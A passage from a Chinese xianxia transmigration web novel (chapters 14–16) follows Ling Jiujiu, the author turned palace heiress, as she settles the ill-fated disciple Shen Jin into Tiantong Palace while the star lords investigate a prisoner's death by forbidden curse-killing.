冬季桃花不开,但被天同星君的术法罩着春花开得正好,落英缤纷煞是好看。
凌酒酒带着沈烬在整个天同宫大概溜达了一圈,将大部分地方都和他讲清楚了。
最后到桃夭居,在桃花树下转了一圈对他道:“沈烬,以后你就住在这啦。这是桃夭居,地方是有点偏和小了……不过已经是天同宫最漂亮的一间单间了。”
“我住的卧雪居就在你前面,你要是有什么缺的或者不满意的都可以告诉我,告诉宫里的师兄弟们和星从也行!”
阿雾在旁蛮大的不乐意,抱着臂噘嘴瞪着这两个人直跺脚。
哼,桃夭居一直是她想住的房子来着,可是小宫主偏要把它收拾出来给沈烬!
她当时是怎么说来着?
——阿雾,你个一捧雾!住哪里不行呀?左右你每天一到晚上不是跑到树顶上去了就是去林子里沐月光浴去了,一个月三十天有二十八天都不在房子里睡觉,要桃夭居干什么?哪儿雾多去哪儿待着去吧!
……气死了!
沈烬在整个居院里大概看了一圈,落英微雪,宁祥静谧。
她应当是仔细为他筹备过的,屋子里许多东西都是新的,床榻上已经放好了几套崭新的天同宫服,身量与他一般无二。
不由狐疑看她一眼。
凌酒酒就像有些不好意思似的挠挠鼻尖呵呵笑笑,“呵呵……我……那个长养
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殿都有在籍弟子的身量尺寸在册,我就直接让他们给制出来了……”
她才不能说,当初她给江遥和他做人设的时候,都设定的185大高个,宽肩窄腰大长腿,简直是栖星宫的颜值标杆了!
沈烬没想太多,指尖在澈蓝浪纹上挲了挲放下继续看。
虽然她说着有什么缺的和不满意的可以告诉她,可是又会有什么不满意的呢?
这里的一切对比曾经在七杀宫,已经是绝佳。
桃夭居殿外这时闪过一个身影。
白胡子、白头发,一身宫衣也是纯白,再配上背景大面积的白雪,整个人就好像是这天地白雪化出来的雪仙。
凌酒酒看见他立刻挥手招呼,“诶?师父!快来呀!”
天同星君泊尘像是一时有些有些尴尬顿了顿,而后暗咳一声微微仰起了脑袋瓜。睨着屋里的三人向沈烬瞟了眼,紧接着就跟没看见似的哼了声撇开目光。
一种蛮大不乐意似的表情也不知道是在对谁。
沈烬不动声色抿唇还是向他执了个星礼。
凌酒酒“呦呵”一声倒来了火气,一把上前扯住他的耳朵就往里拽,“你这小老头你怎么回事儿?!还拽上了你?你给我好好的!冲谁呢你这是……”
“诶诶诶诶诶——”天同星君的威严就一下稀碎一地,龇牙咧嘴地被她扯进了屋,“轻点,轻点!你这丫头……本来这两天就有点耳背……”
沈烬眉间跳了一下目瞪口呆,饶是听说天同宫自由恣意,天同星君也宽厚无为,倒也是第一次在栖星宫见到徒弟扯师父耳朵的场面。
阿雾在旁边偷摸揪着凌酒酒为沈烬准备的葡萄边吃边说:“小场面,小场面,等以后你就知道了哈~”
等凌酒酒和泊尘这边叽咕完了,泊尘终于正了正衣摆对沈烬说:“衣雪啊,你别介意。”转面对凌酒酒时又没好气睇了一眼,“我这是气她呢!大殿上先斩后奏……有你这么坑师父的么!”
“衣雪”是沈烬的字。
沈烬,字衣雪。半夜倚乔松,不觉满衣雪。
沈烬当年刚给带回栖星宫的时候,也是冬季,人间下了无垠的一场雪。当时宫中诸人探知到他奇绝的资质,惊为天人,老宫主便为他起了这个字。
他们说他的名字太酷烈,希望他能像人间这场大雪压住浩劫余烬。也希望他能如衣如雪,纯净高洁。
只可惜……
沈烬眸光细微闪动了下不待说话,凌酒酒已经手叉腰大喇喇出了声:“哦!那也不知道是谁哦,在昨天某个人没来的时候还眼巴巴地盼着,还自己巴巴叨咕着‘哎呀这孩子要是命入天同宫的可就好喽’、‘哎呀那我可就烧高香喽’!”
“还有那桌子,那笔,都是你准备的吧?必须得用新的别人碰都不能碰,还必须得是自己亲自摆放好的!是谁呀是谁呀?”
天同星君闻言更是一甩袖颇难为情似的皱眉“哎呀”了两声又傲娇仰起头不肯看他们了,阿雾和凌酒酒哈哈大笑沈烬微抿的唇线也几不可查地弯了弯。
当晚,沈烬躺在桃夭居榻上,久久没能睡着。
太香了……
床头的香炉燃着安眠香,这精致的熏香在此刻却成了他的负担。他几乎从未熏过这样精细的熏香,也从未住过这样精致安静的房子。
此刻身处的一切忽然都让他有点心烦意乱的感觉。
半晌阖眸翻了个身,一声沉缓叹息散在空气里。
当桃夭居窗外一道影子无声闪过时,沈烬一瞬睁开眼。
他也无声迅速起床,然后迅捷躲在了窗后,身侧的指尖已经悄然无息凝起红光,低冷问:“谁?”
14.014.死了
“我我我!我。”
下一秒,未曾想窗子竟然被大喇喇打开了,一道小而精巧的身影直接从窗跃进来不客气在桌前坐下给自己倒了杯水。
沈烬就讶异看着不当自己是外人似的少年渐蹙起眉,指尖红光无声隐去淡淡问:“你怎么在这儿?”
“我去七杀宫找你,发现你不在才听说你来天同宫了,刚转了好一圈才找到你住这儿,还险些被隔壁院树上一捧阿飘似的东西发现。”少年捏着盏茶盏在屋里参观似的溜达起来,啧啧品论,“不过我还想问你呢,你怎么到天同宫啦?……不过你这房间跟以前比倒是不错嘛!大了不少……还是单间,以后我找你是不是就方便多啦?”
他伸手想碰屋中衣桁上挂着的一件崭新宫服,沈烬直接打去一道气脉。
气脉阻隔去他的手让他手背都冒了火苗,连忙“哎呦哎呦”地连吹带拍地扑灭冒了一缕烟。
沈烬语气淡漠像带了警告,“娄金狗。”
“哎呀行行行……行。”小少年连忙败下阵来似的嬉笑笑从怀中掏出一样东西给他,“喏!”
七杀本命术法“肃杀”的高阶心法。
沈烬微顿,瞳孔的颜色也微微加深。
娄金狗——娄宿。二十八星宿之一。属西北幽天,自星宫层级上当属星主之位。
栖星宫内二十八星宿所在的九阁与十四宫的关系稍有些特殊,九阁虽隶属星宫管辖,却又独立其外,每一阁都有各自的星宿轮值排布,与紫微诸星共掌世间平衡。
星宿的位置走缺位递补制,一任陨落,下一任便立刻递补上,连个过渡缓冲都没有,可以说责任重大压力也巨大。
沈烬和娄金狗的相识,说来还比较巧。还是当时沈烬入栖星宫不久还未命星显现的时候,彼时的娄金狗也因上一任娄宿陨落而赶鸭子上架般地接任了娄宿之位,却在第一天宿星时就险些出幺蛾子。
他当时因为术法不精颤巍巍地挂在天上整个人都要掉下来了,是过路的沈烬悄无声息地扶了他一把还加了一道防锢咒,这才让他惊险避过大错。
一宿落,人间必然灾难横生。娄宿掌天下牧养众畜,若他当时真的掉了,凡间不定在哪儿又会途生瘟疫。他也定会被幽天阁以失格之罪处罚。
然而,娄宿原身为狗……狗就是狗。
自那之后就好像缠上了沈烬似的,时不时就出现在他身边开始晃悠。
娄金狗一开始也是好奇,觉得这人好割裂啊,明明那天热心帮了他可是过后怎么就能没这事儿似的总冷冰冰的呢?
直到沈烬命星显,整个人也突然跌到了一种极艰难的处境,娄宿也突然对他这境况感到挺心情复杂。索性时不时就偷来个他没法学的术法心法周济他。
目光淡淡在他递来的“肃杀”上停顿两秒,沈烬犹豫少顷还是无声接过了平声说:“你总这么在七杀宫偷来偷去,小心被发现了七杀星君饶不了你。”
“不会,我偷的是你那个倭瓜师弟赵惊堂的!而且我不是直接拿的,我是把里面偷了封皮留着换成了春宫图。”娄金狗乐嘿嘿,“他明显从来不看书至今没怎么发现过!就发现一次结果还连夜偷摸看完了别提看得多来劲儿了!”
沈烬眉角抽了一抽。
但想了一想,他还是说:“以后,别偷了。”
沈烬:“也别来天同宫找我了。”
“为什么啊?”娄金狗大惊。
他今年化成人也不过十一二岁男孩的模样,眼神里也透着种懵懂的清澈,很快像恍然明白了什么般忽然狡黠一笑,“哦~我知道了!”
沈烬蹙眉。
这狗东西是又知道什么了?
娄金狗:“诶!你跟那个小宫主,是真的吗?你真的是她的新宠?”
沈烬一顿。
娄金狗八卦兮兮,“现在整个宫里都传你们两个传得轰轰烈烈。你是不是怕被她发现你有秘密,这才不敢让我来的?我觉得安啦,这小宫主这么宠你,不会因为你认识我就不要你的,你……”
沈烬轻吸了一口气已经起身像在屋中各处找什么东西。
娄金狗:“你在找什么?”
沈烬语气渺淡,“能打狗的东西。”
娄金狗已经嗖一下顺窗不见了踪影。
-
这一夜的栖星宫注定不会平静。“死”殿天星牢里,数位守卫的星从换过岗后一位星使级别的弟子到门口向守卫执礼道:
“我是天刑星君门下弟子,奉宫主与天刑星君之令,带领罪徒莫飞澜出宫。”
星从检查过奉星令牌,确认无误后便放行了。
天星牢光线幽暗,凉风嗖嗖。星使穿过一道又一道冗长昏暗的长廊到达关押莫飞澜的牢狱门口。
“莫飞澜,我要带你出宫了。”
莫飞澜背对着牢狱大门而坐,四周禁锢的锁链与地面蜿蜒的血痕微微透着点冷锈似的腥味。他所在的这座牢狱只有最顶端有一扇极小的窗,外面的星光暗淡寥落。
片晌没得到动静,星使又说了一遍,“莫飞澜,我要带你出宫了。”
微弱冷风穿堂而过。
他仍是不曾回应。
星使索性不再等,差星从打开锁链上前。
然而,当他手碰到莫飞澜的肩的时候——
莫飞澜整个人蓦地如散了架的木偶倒地,他的头、手、脚、四肢……一瞬像坍塌的高塔七零八落散在地上。
血从他的脖颈与胳膊断口处涌出来,空气里涌出浓重的腥臭味。他的肠子和血肉像滩烂泥糊在地上。眼珠如两颗灵动的珠子在地上跳跃。
“啊——!”星使一瞬吓坏了,下意识往后退跌在地上倒着往后爬了几步。周围的几个星从也骤然混乱。
很快整个天星牢里都乱作一团,星使跌跌撞撞颤巍巍喊着:“快去……快去禀告宫主!”
-
冬季晴好,雪后放了晴的天空湛蓝如碧,空气中都荡着一股桃花伴雪的清新香气。
凌酒酒这天睡了个懒觉,一觉醒来时已经是日上三竿了,伸着懒腰出来时恰见天同星君正在殿外的花坛追肥护花。
“师父,这大冬天的你也要施肥啊?”
“那当然,这施肥和练功一样,是不能断的,越是吸收不好的时候越要施加,虽然吸收得少但总归聊胜于无,等春季恢复了汲取期,植物就会迅速生长。”天同星君边施肥边悠搭说着,目光瞥向她又不禁嗔怪,“你这女娃!每天睡到这时候起,这要是换作你爹,现在恐怕天同铸都练三遍了!朝歌和云木都是勤奋有加的人,也不知道你这懒蛋究竟随了谁!”
两人就此聊起来。
小宫主凌酒酒的父亲,是天同星君泊尘的首徒,也是已故的天同司命。
凌酒酒第一次知道随泊尘去祭拜他的时候,还说:“那我爹是您的徒弟,我也是您的徒弟,他既是我爹,也算是我师哥,贵宫可真够乱的。”
被天同星君当即爆了个头。
据天同星君所说,她爹慕朝歌是这世上顶温柔的人。他会耐心呵护这世间的每一草一木,会珍惜期盼生命来往的每一个生灵与星辰,这世间万物在他眼中也似乎永远只留有最美好的一面。永远坦荡、永远心怀至善。
他本该是下一任的天同星君。
可惜八年前栖星宫下凡平刀林血冢之乱,诸星诀力量不全,他以身为阵永远永远,睡在了刀林血冢里。
天同星君:“唉,本来我都已经可以退休了,结果这一下,只能继续在这位置上苟着喽!本想着趁这几年再给我们天同培养出一个苗子
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,结果哦,你也是个根脉不全的,啧啧啧……”
凌酒酒一时听入了迷,问:“那我娘呢?”
“你娘……”
她娘凌云木在那一代的星宫中当属数一数二的美人,不仅天资卓越,更是倾国之资,让各宫的少年也都眼巴巴地望着。
她本是一介凡女,生在重男轻女的家里被欺辱打压,命运使然入了星宫。被上上任宫主重取名为“云木”——
时人不识凌云木,直待凌云始道高。
天同星君:“当时啊,可不仅是你爹,现在的天相星君、贪狼星君,九阁那边的轸宿、尾宿,都对你娘爱慕得很,甚至武曲星君都偷偷暗恋她呢!哈哈……”
凌酒酒:“那她为什么最后选了我爹呢?”
“真诚呗!哈哈哈!”天同星君八卦,“天相天天就知道打扮,每次在你娘身边都把自己打扮得好像个花孔雀一样;贪狼又太浪荡;武曲更是了,喜欢一个人还闷葫芦一个还整天绷着个脸爱说教;只有你爹什么都不多说只做你娘的后盾,每次出行都把你娘需要的东西准备得完完整整一丝不差的。你娘一向是最清楚什么样的人适合自己,也最清醒自己想要的是什么的,当然就会选你爹了……”
凌酒酒听着不由升起一丝不知对宫主“凌云木”的钦佩还是对自己母亲的骄傲,仰起下巴,“我娘本就是这天底下最好的女子的!”
她不觉想起了自己在现实中的妈妈……
凌酒酒所认识的妈妈,其实她是被她收养的。说来惭愧,与她做母女几年,她除却她叫“凌七”以外其他的什么都不知道。
没错,她现实的凌酒酒就是个孤儿。不知道何处来、也不知道父母是谁,只知道福利院的院长捡到她的时候她就被丢在福利院的门口,襁褓里带着个纸条写着“099”,院长干脆大手一挥记录了“凌酒酒”这个名字。
直到有一天,一个长得极美、极温柔的女人站在她面前,对她说:“你就是凌酒酒?”
“你我都姓凌,也算有缘,愿不愿意做我的女儿,跟我走?”
然后她就跟她走了。
她予了她爱、予她温暖与关怀。为她讲述她不懂的她领域内的天文知识。繁星、宇宙,仿若时空都在她面前铺展而开,她曾说所有人都是这片虚霩里的一粒尘埃。
母亲去世的时候,她一筹莫展,但总归熬过来了。
再后来,她一个人勤工俭学上了大学,为谋生计开始写网文,生活好像总是困苦到见不到光,但偶尔,也会有星星似的希望……
正思绪纷杂地想着,桃夭居的方向走出一道身影,凌酒酒余光瞥见立刻摆手召唤,“诶,沈烬!早呀,你也刚醒吗?昨晚睡得好吗?”
沈烬身上穿了一件束身的黑色劲衣,衬得整个人更加清隽冷峻,额间和颈间像有细微的汗,被冬季清朗的阳光映得微微有些反光,一瞬微顿了顿像是不知道该答什么但最终还是囫囵应了声。
“嗯。”
他目光落向她身旁的天同星君微微执了一礼,而后转身向另一个方向走了。
天同星君看着他的背影都恨不得再爆小徒弟一个头,“人家不到卯时就起了,一直在殿外修习来着,还刚醒……你以为都是你!”
“啊?”
天同星君不禁感慨。多好的孩子啊,从资质到根骨,连外形和自律都是这么千载难遇的。
真可叹……
那边的沈烬方才走几步,迎面忽然来了一位自紫微宫来的星从,道:“沈烬,宫主与几位星君唤你过去一趟。”
凌酒酒如今她对别宫的人前来找沈烬总是格外敏感,连忙小碎步跑上前主动问:“发生什么啦?”
星从一时犹豫似不知道该不该说,斟酌少顷,还是道:“莫飞澜……死了。”
15.015.咒杀
“咒杀?”
凌酒酒正和天同星君在这儿插科唠家常的时候,紫微殿内的气氛却紧张不安。因事发突然,凌云木只来得及召集天刑、亡神、武曲、七杀、贪狼等几位星君前来。昨夜前去宣令的星使还颤颤瑟瑟躲在一旁像失了魂。
“是的,宫主。”亡神星君道:“我仔细检查过,本以为他是被分解虐杀,可他的身上碎裂的地方皆无任何刀戈利刃所划过的痕迹,且这等程度的虐杀……他必定痛不欲生哀嚎,可天星牢所有的守卫星从与囚犯皆声称,从未听见莫飞澜所处牢狱有任何声音。”
“可若他是先毙命再被分尸的,他的身上也没有任何一处致命伤口与术法痕迹,且以他尸身的血肉来看,想来应当是在被发现前不久才被杀害的。能在天星牢做到这等程度悄声无息杀人的,唯有天星牢守卫,但天刑星君已一一审问过,皆称昨夜守卫未有一人擅离职守。那想来……只有咒杀才可行。”
场面气氛一瞬更凝重了一些,连一向淡定的凌云木都不禁微锁了眉。
咒杀术在仙门各派中算是一个极特殊的术法。行此术者,通常只要能得到被咒人的姓名、生辰八字、加贴身用物,便可对其进行下咒杀戮。
可谓杀人于无形,亦能杀人于千里之外。
被咒人被咒的程度也可完全为下咒人所操控,可以只是令被咒人倒霉几日、亦可让被咒人暴毙横死、痛不欲生而死、抑或死后烂成肉泥……何种死法皆为下咒人随心所欲。
因此术过为诡谲残忍,故在百年前就已经被仙门各界禁止了。这些年来只要一出现也定会为仙门百家所讨伐,如今却赫然在栖星宫再现,怎会……
武曲星君紧拢眉宇,“咒杀术早已销声匿迹多年,又怎么会突然出现在栖星宫?会否是什么类似的虐杀术法,用来混淆视听的?”
“说不定是这术法其实也从未消失过,只是被有心之人一直藏着,此次是怕莫飞澜透露什么不该说的才不得不出手。”贪狼星君唇边似笑非笑,“看来,这风清气朗的大晴天,又要变天了。”
凌云木也沉吟,“若真是咒杀术……还真的麻烦了。”
先前莫飞澜蓄意陷害沈烬,众人虽猜不出原由但诸多测想顶多还在同门恩怨内,总归还在可控的范围。
可咒杀需人生辰八字,莫飞澜当年是被凌酒酒救回来的孤儿,莫说他的八字,就连他具体生于哪一年阖宫上下都不得知,更遑论咒杀他。
若他真是死于咒杀,就代表他背后定有至少一个人知晓他的全部信息,并一直在控制着他。
而这人甚至在很久以前就开始布局了,就连凌酒酒救他都可能是其中的一环。
正说着,殿外方才去宣人的星从上前,对众道:“宫主,诸位星君,沈烬到了。”
凌云木:“让他进来吧。”
沈烬此次被叫来是来问话的。
莫飞澜被杀一事自然怀疑不到他。只是莫飞澜此前种种所为指的方向仍是陷害他,故众人此刻也只能在他身上寻找突破口。
凌云木只简单问了几个问题,大抵是他同莫飞澜关系如何、可曾有过什么仇怨之类,沈烬立在殿下一一如实答了。
他与莫飞澜其实不算同届入宫,算起来比莫飞澜还早两年,只是莫飞澜入宫时沈烬已命星显现,处境尴尬,自然连话都没说过几句,更不消说什么仇怨。
凌云木未问太多,简单几句便让他回了。
转身时,七杀星君突然开了口。
“昨夜,你在哪儿?”
沈烬脚步顿了一顿有些复杂看了他一眼,“天同宫。”
“一直在?”
“是。”
“一个人?”
他微抿唇,还是道:“是。”
七杀星君审探似的盯了他一会儿摆手让他走了。
等他身影走出大殿,贪狼星君才用扇子悠然拍了下七杀星君的胸口,“行了,人家都已经是天同宫的人了,还这样小心泊尘说你手伸得太长。”
七杀星君仍微拧着眉望着他出去的背影。
武曲星君问:“宫主,你怀疑沈烬?”
“自然不是怀疑他咒杀人,只是……”凌云木低眸思忖。
天刑星君像是已经测想到了什么,率先试探问:“宫主可是怀疑,这次的事……或与那赤锋之乱或刀林血冢相关?”
话一出口,整个大殿倏然又肃声,连一向吊儿郎当的贪狼星君都一时正了神色。
咒杀术的最后一次大面积出现,是在接近二十几年前的仙门赤锋宗里,但那已经是他们上上代平的乱了,现在阖宫上下稍微知道些内情的只有常年闭关的破军星君,但他对赤锋宗向来格外敏感从不肯开口。
而刀林血冢是他们近年来平的最近的一次劫乱,不偏不倚,正是凌云木将沈烬捡回来的节点。
还恰巧是个灾星。
诸多巧合……无法不让人将这些联想到一块。
而在场众人皆知刀林血冢对于凌云木意味着什么,一时不禁都纷纷交递着神色目光无声落在她身上。武曲星君骤道:“我早说,该杀了此子!以防祸于未然。”
“祸未起便祸及无辜,才是祸之根本。”凌云木的脸色白了一白但终是没说太多,草草结束了话题,“好了,各位,不管怎么说咒杀术现世都绝非小事,还是要尽快告知众仙门提防。”
“至于我们栖星宫,诸星君还要多加留意各宫众人,以防未然。”
-
凌酒酒在紫微殿外一蹦一跳探头探脑等了许久,终于看见翩翩而出的少年身影,立刻召唤,“沈烬!”
沈烬走过去。
“怎么样怎么样?没事吧?他们都问你什么了?”
沈烬淡然说无事,将方才殿上的一切简单说了。凌酒酒闻言松了口气。
“那还好还好……我还以为他们怀疑你呢。不过这莫飞澜……怎么就死了?”她文里没有这一段的啊……
午时阳光明耀,映得凌酒酒小脸也一片瓷白,双颊泛粉,细绒绒的绒毛都剔透清晰。沈烬低眸看着莫名有些微顿,片晌垂下目光。
转身时,他不禁又朝大殿的方向看了一眼,瞳孔微缩。
咒杀……
回到天同宫,正有另一道身影正在天同宫的门口与天同宫的星从说话,凌酒酒见状立刻喜出望外一把就扑上前。
“啊啊啊啊师姐!我好想你呀!”
任紫依就惊讶看着凌酒酒像只欢快的小猴子跑向自己一把将自己扑了个满怀,不由无奈笑了轻拍拍她的背,“稳重点,像什么样子。”
凌酒酒红着脸颊嘿嘿朝她一笑。
远处的沈烬原地而立向她执了一礼,风姿冷峻。
任紫依也微敛了敛神色向他一颔首算回应过。
凌酒酒的目光就在他们俩之间看了个来回心中忽然有种很奇异的感觉,偷瞄着他们两人不敢说话。
在原书中,沈烬和任紫依其实是没什么实质交集的。
但沈烬对任紫依一直算留有几分尊重和敬佩。任紫依亦然。
原因是因为当年沈烬在命星显现时诸宫讨论是杀还是留,任紫依曾替他说了一句话。
“世人无法择己命运,但总要有生的机会。沈烬入门以来,行事未曾失格,徒儿以为,可留。”
包括后来沈烬黑化之后,任紫依也曾惋惜过那个曾经也算惊才绝艳的少年最终还是走上了这条路。但饶是惋惜如她,她在那场大战前还是毅然刺了他一剑,间接导致了他的失败,也扭转了江遥几近落败的战局。
这会儿看见这两个人就这么面对面站着,凌酒酒的心情还是有点复杂的,暗叹了一息对任紫依道:“师姐,你来找我做什么呀?”
任紫依将一样东西递到她面前。
凌酒酒看了她一眼狐疑接过来看。
看见上面字迹的刹那,凌酒酒险些喷血!同时任紫依道:“这是长生殿新一季甲至癸班的学程单。”
“师父让我拿给你。酒酒,等这个月休沐结束,你就要和大家一起去长生殿修学了。你刚回宫不久,肯定有些课程和内容还不了解,师父想让你先根据学程单预习预习,有不懂的,我随时来为你补课。”
凌酒酒就像要宣读圣旨一样把那一卷学程单从头到尾拉开,整个人都要做了个伸展动作了还没拉到尽头,心中突然有点崩溃。
不是吧……她都穿到修仙世界了居然还要上课?她现实生活中还有两科挂了的课还没补呢!早知道,
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她写什么修学设定啊!
栖星宫中的每一位弟子,平时都需至长生殿听课修学,自星徒至司命无二差别。
长生十二神殿之第一殿——“长生”殿:乃是长生十二神的起首之神运,是代表着世界万物的起始与发展,取“生生不息,万古长生”之意。更是整个十二神殿乃是整个栖星宫的最注重的核心。
可以说是穷什么不能穷教育了。
长生殿以弟子的不同水平分成十班,然后每季都会有一次大的历考,下一季根据历考重新分班。即便已考授上星命的弟子,可若在历考中掉下来,随时也可能是被顶替的。
简直是修仙界的卷王。
凌酒酒大概扫了一圈,看到其中什么武曲星君授的武学课、文昌星君的历史课、文曲星君授的诗文课、天巫星君授的卜卦推命课……等等等等。
更有什么符咒课、御剑课、内元化气……都已经是小儿科的基础课了。不由眼巴巴看任紫依。
“师姐,我一定要去吗?我……”就不能让她做个快乐的穿书小咸鱼吗这也太难为她一个现代人了吧!
任紫依只用一种“你说呢”的表情望着她一笑。
凌酒酒败下阵来。
当天晚上,凌酒酒在吃饭的时候,桌上还摊着那轴比她命还长的课程表哀叹。
阿雾端着一碗灵凇化成的桃花露蹦蹦跳跳过来,笑嘻嘻调侃,“小宫主,怎么样了呀?”
凌酒酒一下便瘫在桌上哀呼呜哉。
“这真是太……”
太逆天了!
凌酒酒现在的脑海与身体里其实是稍微还暂存着一些关于小宫主的能力的,例如术法、口诀。
可是不得不说这小宫主先前被保护得太好也真的没吃过什么修习的苦,仅存的那点知识也跟那断断续续的术法一样压根不能看。
她这若真想把这些了解一遍,哪是补课预习啊?这分明就是重学一遍的好吧!还只有一个月的时间,谁家孩子能补课一个月就上清华?
泊尘这时也端着一碗饭悠悠过来,“谁叫你平时不用功,现在急喽。这就叫少壮不努力,老大徒叹气。”
凌酒酒愤愤瞪他一把夹去他碗里的鸡腿哼声,“我要是出去被笑话,丢的也是你天同星君的脸!这就叫一根绳上的蚂蚱相煎何太急!”
“诶你……”泊尘立刻伸去筷子作势去和她抢。
沈烬来的最晚,这两天他似乎还是不大习惯同大家一起吃饭,上桌时还似乎有些拘谨不自然。
他饭也盛得很少,薄薄的小半碗,凌酒酒见状直接将鸡腿撕成两半将一半放进他碗中笑吟吟。
沈烬清黑的眸看了看她,又看了看天同星君,似是犹豫该说谢谢还是该还给他。
泊尘只好作罢,“哎……吃吧吃吧!衣雪啊,多吃点啊,还长身体呢这么高的个子这么瘦的。”
转头面向凌酒酒时又不禁吹胡子瞪眼,“就知道吃!”
凌酒酒得意地朝他吐吐舌头晃晃脑袋瓜。
她又面向了沈烬,托起腮来笑吟吟,“诶沈烬,你在哪个班呀?要不我和你去一个班吧还能互相有个照应!”
话一开口,整个桌上倏然安静了,阿雾和泊尘对视一眼像迟疑着不敢说话。
沈烬顿了片晌才平淡说:“我去不了。”
他神色和语气一样平淡,“我不能去长生殿。”
凌酒酒盯着他几秒才反应过来他话中的意思,后知后觉地想起什么心跳也忽然加快。
栖星宫中的弟子在命星未显现前,其实都是在沐浴殿一处叫初学堂的地方启蒙受教的。栖星宫有规,弟子自初学堂化气入长生殿。若五年内都未能考授上星命的,便自行选择是退籍离宫或成为星从。
若选作星从,五年后自动离宫,栖星宫还会备上一份重礼,也算不枉缘分一场。
只是如今天下世道混乱,大多数人还是宁愿留在栖星宫的。只部分人或嫌修行清苦或恋慕了红尘,会选择离宫下山。
可他没有选择。
他无法考授星命、无法选择离宫、更不能成为星从。
星从或还可因要务下山出宫,可他却永远无法踏出栖星宫一步。他永永远远,要被困死在这座星宫里。
16.016.打赌
沈烬晚上吃完饭便回桃夭居了,后续凌酒酒没滋没味吃完,回房路过桃夭居看见屋里映出的剪影就坐在不远处的高亭上发呆。
夜月凉如水,天同星君遛弯回来的时候,见她一个人披着斗篷裹得像个粽子似的在这里沉思,笑呵呵问:“还在想长生殿的事呀?”
凌酒酒长叹口气,“师父,我问你哦。沈烬……当初命星显现的时候,是什么样的场景啊?”
泊尘:“你问这个做什么?”
凌酒酒:“你就说嘛!”
“好好好……”泊尘颇拿她没办法,捋着胡须叹声回忆,“当时那场景啊,应该也算是千载难见了吧……”
栖星宫中命星显现于宫内弟子而言算是一件大事。
修仙便是登天梯,而修行至化气便是第一阶,化气紫微命星显。在当天,宫内所有星君、弟子、都会聚集在长生十二神殿的第三殿——“冠带’殿,齐身而跪,紫微星盘上显现谁的名字谁就上前,命盘会一一显现新弟子的命格命星。
当时他是那一届弟子中最受注目的骄子了,在场不少星君与弟子都是等着看他的命星的。
紫微命盘显人命星的时候,会根据所属五行与星象庙弱情况有自然变换。
如贪狼属木,可能会有藤蔓缠绕于树、天同属水,会有溪水流淌潺潺;有的星象特别好的,还会引来灵鸟盘旋在半空啾啾鸣叫。梦幻之场景,有时能令阖宫上下在几天后都还在感慨讨论个不停。
“江遥,命贪狼……”
“姜朝泠,命巨门……”
“沈烬……”
轮到他的时候,他上前,与先前所有人一样跪下。
然而方才树茂鸟鸣的场景瞬时变了,天空忽然笼罩下层层乌云,世上的一切仿佛都被吞没,滚滚雷鸣藏在乌云里。
“七杀、灾煞、绝命、天厄”几颗星显现在他的命盘上,无穷滔天的火顷刻而下,场景明明是虚幻的,但那身临其境的灼烧感还是烧得在场人不少人四处逃窜。
“灾、灾星!”
“杀了他!杀了他!”
渐渐的开始有弟子绝望地喊。周围场面混乱。星君们都在仓促地稳定着局面,渐渐四周开始有主杀还是主留的声音。
他只跪在那儿仰头静静地望着那个命盘,眼底却始终平静的像灰烬一般,像在说:“我就知道会是这样的。”
命运不管给予过他多少希望,可终归,都会是这样的。
……
话说回来,凌酒酒托腮看着远处窗里的剪影,问:“沈烬真的不能去长生殿吗?”
“这是诸星君讨论后决定的。”泊尘抚须说:“留下他的命,算不杀害无辜;不授予他术法,算防患未然。他今年已是未授上星命的第五年了,唉……”
“沈烬……会变坏吗?”凌酒酒喃喃。
“这我就不知道了。”泊尘叹了声又嗔怪地敲了下她的脑袋。
“他会不会变坏我不知道,我是知道你要是再这么懒蛋下去可就要坏事了!快好好想想你的术法吧别想有的没的了,这次要是真分到了个最末班我们天同的脸真的就丢尽了……”
凌酒酒蛮不乐意地朝他撇了两下嘴不理他了。
凌酒酒其实在想的是,造成他这一切的……真的是她吗?
或者说……她知道,这本书的一切设定都是她造成的。
而她究竟该为此付多少责任?
一本书,就像一个世界。
世界上总是有好人就有坏人,有穷人就有富人。她当时只是为了创作这么一个角色才赋予了他这些背景。可是那些苦痛……真的都是真实的吗?
这些日子凌酒酒有时候都有些恍惚这个世界的虚幻和真实了,她呆呆看着远处窗里沈烬的剪影。
他似乎正在写字,身形挺峻,冷峭清瘦,映在窗纸的影子宛如生于严寒的松柏。
凌酒酒许久望着不禁一叹。
他多爱学习啊……
怎么想个法子,能让他去长生殿呢?
……
桃夭居内沈烬的确是在写字,雪白的纸面上写下的却是三行字:
咒杀
赤锋宗
刀林血冢
烛火在深黑瞳仁中迸碎冷意,他目光微凝。
莫飞澜先前陷害于他却不下手真杀他,定是想从他身上拿到什么。
而莫飞澜此刻又被咒杀,说明想从他这儿拿到什么的人另有其人。
咒杀术最后一次出现是在赤锋宗门。
如果操控莫飞澜的人和赤锋宗有关……
那赤锋宗和当年的刀林血冢,又是什么关系?
-
今日是逢“五”日,诸星君在紫微殿议事过后,凌酒酒却带着沈烬直接踏上殿来,声称有事要禀。
凌云木便不禁讶异一笑,对众星君道:“诸位,那就劳烦大家再暂留片刻,听听酒酒的发言?”
凌酒酒就脑袋一扬,笃然道:“长生殿,我要去甲班!”
话落,整个场面像沉静了一刹后爆开了一片哗然,仿佛石破天惊。
天同星君正在举着水囊喝水,闻言一口喷出来直接将站在前方的天梁星君喷了个淋头——
这这这小丫头知道上进了是好事倒也用不着这么激进吧?!
贪狼星君挑眉一笑,小丫头还挺有志向的。
连一向泰山崩于前而色不变的武曲星君和七杀星君都露了些错愕颜色。凌云木更是讶异睁了睁眼看向了今日随她听议的任紫依,用目光询问可是那日送学程单时说了什么?
任紫依迷茫地摇摇头。什么都没说啊!
沈烬都用一种“你在说什么鬼话”的诡异眼神看向她。
凌酒酒对上他的眼神却像蕴藏着什么小秘密似的狡黠眨了下眼,而后轻咳肃肃神色骄傲挺起胸膛面对众人。
长生殿的班斋分类,并不是按星命等级分的。全凭历考修为排布先后,所以会出现各种司命、星主、星徒……一起听学的乱炖大场面。
可饶是如此,甲班的能力也一向是众班之首,基本只云集了各宫的司命与星主。
而小宫主凌酒酒的修为几何阖宫皆知,就这么当众声称要去甲班……也未免太大言不惭了点。
场面嘈杂了片刻,凌云木最先咳声稳住,说道:“酒酒。”
她似乎有些想笑,可又怕伤害了女儿的自尊心,话说得也慢也委婉了些,“有目标呢……是好事。”
“但是甲班……和其他班斋不太一样,那里压力会稍微大一些,师兄师姐们的修为也相对较高。如果我和诸星君今日都让你去了,恐怕你难以适应,门中其他弟子也会颇生微词,岂不是不大好?”
“若你真的想去,不如好好用功,等下次历考,你的术法修为到了自然就可以去了,到时阖宫也不会有不好的声音,这样好不好?”
